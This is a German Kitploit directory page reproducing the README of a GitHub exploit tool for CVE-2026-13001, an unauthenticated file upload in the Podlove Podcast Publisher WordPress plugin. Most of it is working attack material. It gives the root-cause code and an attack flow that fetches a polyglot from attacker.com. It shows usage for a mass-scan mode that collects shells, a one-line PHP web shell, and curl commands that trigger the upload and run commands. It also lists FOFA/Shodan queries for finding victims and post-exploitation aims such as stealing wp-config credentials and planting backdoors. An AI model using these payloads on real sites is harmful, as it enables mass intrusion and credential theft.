Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-13001 — Exploit für CVE-2026-13001, einen nicht authentifizierten, beliebigen Datei-Upload im WordPress-Plugin Podlove Podcast Publisher, der Remote-Code-Ausführung über einen PHP-Polyglot-Upload ermöglicht. Enthält Einzelziel- und Massen-Scan-Modi. | Kitploit
Tools/GitHubGitHub/byt3l0rd/cve-2026-13001
SchwachstellenscannerExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsRed TeamingPayload-Entwicklung
GitHubbyt3l0rd/cve-2026-13001

CVE-2026-13001

Exploit für CVE-2026-13001, einen nicht authentifizierten, beliebigen Datei-Upload im WordPress-Plugin Podlove Podcast Publisher, der Remote-Code-Ausführung über einen PHP-Polyglot-Upload ermöglicht. Enthält Einzelziel- und Massen-Scan-Modi.

Repository anzeigen
vor 11h 6mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-13001 — Podlove Podcast Publisher Unauthenticated File Upload RCE

is_image() vs extract_file_extension() Mismatch → PHP Polyglot Upload


Übersicht

CVE-2026-13001 ist eine kritische (CVSS 9.8) unauthentifizierte Schwachstelle für beliebige Datei-Uploads im Podlove Podcast Publisher WordPress-Plugin in den Versionen ≤ 4.5.1.

Die Schwachstelle nutzt eine Diskrepanz zwischen zwei internen Funktionen aus, die Dateiendungen unterschiedlich parsen:

  • is_image() verwendet , das → URL erscheint als ✅ (gültiges Bild)
basename()
Query-Strings einschließt
shell.php?.gif
.gif
  • extract_file_extension() verwendet nur den Pfad von parse_url() → gibt .php zurück → Datei wird mit .php-Endung gespeichert 🚨
  • Angreifer laden GIF89a-PHP-Polyglots hoch (gültiger GIF-Header + eingebettetes PHP), die die Bildvalidierung bestehen, aber als PHP ausgeführt werden, wenn sie aufgerufen werden.

    Betroffene Versionen

    VersionStatus
    ≤ 4.5.1Verwundbar
    4.5.2+Gepatcht

    Entdeckt von: Talal Nasraddeen über Wordfence (14. Juli 2026)


    Schwachstellen-Mechanismus

    Grundursache

    root@kitploit:~
    // is_image() — uses basename() which includes query string
    function is_image($url) {
        $ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION));
        return in_array($ext, ['jpg','jpeg','png','gif','webp']);
    }
    // URL: https://attacker.com/shell.php?.gif
    // basename() → "shell.php?.gif" → ext = "gif" ✅ BYPASSED
    
    root@kitploit:~
    // extract_file_extension() — uses parse_url() path only
    function extract_file_extension($url) {
        $path = parse_url($url, PHP_URL_PATH);
        return pathinfo($path, PATHINFO_EXTENSION);
    }
    // URL: https://attacker.com/shell.php?.gif
    // parse_url() → "/shell.php" → ext = "php" 🚨 SAVED AS .php
    

    Angriffsablauf

    root@kitploit:~
    1. Attacker hosts GIF89a PHP polyglot at attacker.com/shell.php?.gif
    2. GET /?podlove_image_cache_url={hex(url)}&podlove_file_name=test
    3. is_image() validates .gif extension → PASS
    4. Plugin downloads file → saves as test_original.php in cache/
    5. Attacker accesses /wp-content/cache/podlove/{hash}/test_original.php
    6. PHP executes → RCE
    

    Installation

    root@kitploit:~
    git clone https://github.com/shinthink/CVE-2026-13001.git
    cd CVE-2026-13001
    pip install -r requirements.txt
    

    Verwendung

    root@kitploit:~
    # Einzelnes Ziel
    python cve_2026_13001.py -t target.com
    
    # Massen-Scan
    python cve_2026_13001.py -f targets.txt -o shells.txt
    
    # Benutzerdefinierte Payload-URL
    python cve_2026_13001.py -t target.com --payload-url https://yourserver/shell.php?.gif
    
    # Debug-Modus, Shells hinterlassen
    python cve_2026_13001.py -t target.com --debug --no-cleanup
    

    Argumente

    root@kitploit:~
      -t, --target       Einzelnes Ziel (Domain oder IP)
      -f, --file         Zielliste, eine pro Zeile
      -o, --output       RCE-URLs in Datei speichern
      --payload-url      URL, die das PHP-Polyglot hostet (Standard: GitHub raw)
      --threads          Parallele Worker (Standard: 30)
      --no-cleanup       Shells auf dem Ziel hinterlassen
      --debug            Jede HTTP-Anfrage anzeigen
      -v, --verbose      Ausführliche Ausgabe
    

    Proof of Concept

    Einzelnes Ziel

    root@kitploit:~
    $ python cve_2026_13001.py -t podcast-site.com
    
    root@kitploit:~
      Podlove Podcast Publisher | CVE-2026-13001 | CVSS 9.8
    
      Host       : podcast-site.com
      Podlove    : YES v4.5.1
      Upload     : YES
      RCE        : YES
      Shell      : https://podcast-site.com/wp-content/cache/podlove/a1/b2.../think_xxx_original.php?t=TOKEN
      Output     : uid=33(www-data) gid=33(www-data)
      Time       : 4.2s
    

    Massen-Scan

    root@kitploit:~
      Targets: 500  |  Threads: 30
      Payload URL: https://raw.githubusercontent.com/shinthink/payloads/main/shell.gif
    
      [RCE] podcast-vuln-01.com       https://podcast-vuln-01.com/wp-content/cache/podlove/...
      [150/500] 30% | Det:42 RCE:8
    

    Manuelle Ausnutzung

    Schritt 1 — Ein Polyglot-Shell hosten

    root@kitploit:~
    // shell.php — save and host on your server
    GIF89a<?php system($_GET['c']); ?>
    

    Schritt 2 — URL mit Bypass hex-encodieren

    root@kitploit:~
    # URL: https://attacker.com/shell.php?.gif
    echo -n "https://attacker.com/shell.php?.gif" | xxd -p | tr -d '\n'
    

    Schritt 3 — Den Cache-Download auslösen

    root@kitploit:~
    curl 'https://target.com/?podlove_image_cache_url=68747470733a2f2f...&podlove_file_name=shell&podlove_width=100&podlove_height=100&podlove_crop=0'
    

    Schritt 4 — Auf die Shell zugreifen

    root@kitploit:~
    # Path: wp-content/cache/podlove/{h[:2]}/{h[2:]}/{name}_original.php
    curl 'https://target.com/wp-content/cache/podlove/a1/b2c3.../shell_original.php?c=id'
    

    FOFA / Shodan

    root@kitploit:~
    FOFA:   body="podlove-podcasting-plugin-for-wordpress"
    Shodan: http.html:"podlove"
    

    Auswirkungen

    Eine erfolgreiche Ausnutzung führt zu Remote-Code-Ausführung als Webserver-Benutzer:

    • wp-config.php extrahieren → Datenbank-Anmeldedaten
    • Zugriff auf alle WordPress-Inhalte, Benutzer und Plugin-Daten
    • Permanente Backdoors bereitstellen
    • Pivot zu internen Netzwerken

    Haftungsausschluss

    NUR FÜR BILDUNGSZWECKE UND AUTORISIERTE TESTS.

    Die Autoren übernehmen keine Haftung für Missbrauch.


    Referenzen

    RessourceLink
    Wordfence Advisorywordfence.com
    Podlove Security Releasepodlove.org
    NVD-EintragCVE-2026-13001
    ForscherTalal Nasraddeen

    Nicht mit Podlove verbunden.

    Tool herunterladen